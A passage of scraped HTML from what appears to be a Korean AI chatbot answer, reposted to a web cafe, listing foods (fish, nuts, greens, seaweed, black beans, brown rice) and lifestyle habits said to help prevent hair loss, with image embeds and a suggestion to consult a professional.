class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%83%9D%EC%84%A0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="생선 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTxWWjCbxyjEZ9xvYJQarrD7Z1qq4oypXocSi37vY1YwB9RqP9bYUQRXs6kN2VK"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%83%9D%EC%84%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 생선 </div></div></single-image></response-element></div></span> 연어, 참치 등 지방산이 풍부한 생선은 모발에 윤기를 더하고 건강하게 유지하는 데 도움을 줍니다.</li> </ul> </li> <li data-sourcepos="14:1-18:0"> <p data-sourcepos="14:3-14:23"><strong>비타민과 미네랄이 풍부한 식품:</strong></p> <ul data-sourcepos="15:5-18:0"> <li data-sourcepos="15:5-15:68"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="견과류 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRNxVLMXBTJGfUtYWmGYrluhJkDDZaeUjGycgg4KVCp5dkefl5wi8rrWI23095D"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 </div></div></single-image></response-element></div></span> 아몬드, 호두 등 견과류는 비타민 E와 아연이 풍부하여 모발 건강에 좋습니다.</li> <li data-sourcepos="16:5-16:76"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://brunch./@@2JVJ/1340"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="녹색 채소 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSrErv_D1fhB1UcbV8scvRx8q6pTeahU4rCy3BySZG9QX_ysZkHX8nQP9ZADnrt"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://brunch./@@2JVJ/1340" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcR9wRBvdaC9jop6JCwitFwtIoPjh94Nv7G_dsoRzrwIbkp-v2dlLB4hAIAf-3g0fIahrTrc8Edaq_FEYD4x0IPGsvBS0TwT"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">brunch.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹색 채소 </div></div></single-image></response-element></div></span> 시금치, 케일 등 녹색 채소는 비타민 A, C, 철분이 풍부하여 모발 성장을 촉진합니다.</li> <li data-sourcepos="17:5-18:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kormedi.com/1566370/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="해조류 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRDMz-CAra514uVc8tZpvpnVWku0VyuIy2Z3-gRcedtCfESOSs39ubcAIXXcihJ"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1566370/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 해조류 </div></div></single-image></response-element></div></span> 미역, 다시마 등 해조류는 요오드가 풍부하여 갑상선 기능을 조절하고 모발 성장을 돕습니다.</li> </ul> </li> <li data-sourcepos="19:1-22:0"> <p data-sourcepos="19:3-19:9"><strong>기타:</strong></p> <ul data-sourcepos="20:5-22:0"> <li data-sourcepos="20:5-20:69"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://ssarijai.com/product/23%EB%85%84-%ED%96%87-%EA%B3%A1%EC%8B%9D-%EA%B5%AD%EC%82%B0-%EC%84%9C%EB%AA%A9%ED%83%9C-%EC%A5%90%EB%88%88%EC%9D%B4%EC%BD%A9-1kg-%EC%95%BD%EC%BD%A9-%EA%B2%80%EC%9D%80%EC%BD%A9-%ED%9A%A8%EB%8A%A5/194/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="검은콩 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSXECla37AIB0W1vUjbjUrHOuS9iTcxZqkL1wff8uNYSPESqztLcnEUHEwPfx_x"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://ssarijai.com/product/23%EB%85%84-%ED%96%87-%EA%B3%A1%EC%8B%9D-%EA%B5%AD%EC%82%B0-%EC%84%9C%EB%AA%A9%ED%83%9C-%EC%A5%90%EB%88%88%EC%9D%B4%EC%BD%A9-1kg-%EC%95%BD%EC%BD%A9-%EA%B2%80%EC%9D%80%EC%BD%A9-%ED%9A%A8%EB%8A%A5/194/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSerRWcX_PjCwvSyKxRn06YufIRh7HXHqrJXz_GXPWxdJkEajmnOQCV1bKxSF_AlW-k8_Zr1H75o22GzzVUFwBHRlqN2GHu"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">ssarijai.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 검은콩 </div></div></single-image></response-element></div></span> 검은콩은 모발에 영양을 공급하고 혈액순환을 개선하여 탈모 예방에 도움을 줍니다.</li> <li data-sourcepos="21:5-22:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://ko.wikipedia.org/wiki/%ED%98%84%EB%AF%B8"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="현미 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcS3XOOsJALWmYxWrPzSJMEpfH5RrpItcw7Wi321IYPdHzasIi2AFanV-i6mH5Of"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://ko.wikipedia.org/wiki/%ED%98%84%EB%AF%B8" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQYtmdcl8iY4_F9QIVUF7rcJWPcJY3DJJMYNz0OFczRxRphw86aShEnPM2slInt1YxDDuWcvkAJ0oS1Ny5DUEnCvqx_t9JvlgR0QA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">ko.wikipedia.org</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 현미 </div></div></single-image></response-element></div></span> 현미는 비타민 B군이 풍부하여 모발에 활력을 부여합니다.</li> </ul> </li> </ul><h3 data-sourcepos="23:1-23:19">탈모 예방을 위한 생활 습관</h3><ul data-sourcepos="25:1-29:0"> <li data-sourcepos="25:1-25:53"><strong>스트레스 관리:</strong> 명상, 요가 등 자신에게 맞는 스트레스 해소 방법을 찾아 실천하세요.</li> <li data-sourcepos="26:1-26:54"><strong>충분한 수면:</strong> 밤 10시부터 새벽 2시 사이에는 숙면을 취하여 몸의 회복을 도와주세요.</li> <li data-sourcepos="27:1-27:58"><strong>규칙적인 운동:</strong> 유산소 운동과 근력 운동을 병행하여 건강한 몸을 만들고 혈액순환을 개선하세요.</li> <li data-sourcepos="28:1-29:0"><strong>두피 마사지:</strong> 혈액순환을 촉진하고 모근을 강화시켜 탈모를 예방하는 데 도움을 줍니다.</li> </ul><p data-sourcepos="30:1-30:85"><strong>주의:</strong> 탈모는 개인의 체질과 건강 상태에 따라 다르게 나타날 수 있으므로, 전문가와 상담하여 자신에게 맞는 탈모 관리 방법을 찾는 것이 좋습니다.</p><p data-sourcepos="32:1-32:66"><strong>이 포함된 글을 통해 탈모 예방에 대한 이해를 높이고 건강한 모발을 유지하기 위한 노력을 시작해 보세요!</strong></p><hr data-sourcepos="34:1-34:3"><p data-sourcepos="36:1-36:45"><strong>참고:</strong> 위에 제시된 은 예시이며, 실제 은 다를 수 있습니다.</p><p data-sourcepos="38:1-38:59"><strong> 추가 요청:</strong> 특정 식품이나 탈모 관리 방법에 대한 을 원하시면 언제든지 요청해주세요.</p><p data-sourcepos="40:1-40:64"><strong>다른 정보:</strong> 탈모 예방에 대한 더 자세한 정보를 원하시면, 관련된 전문가나 의료기관에 문의하시기 바랍니다.</p></div> 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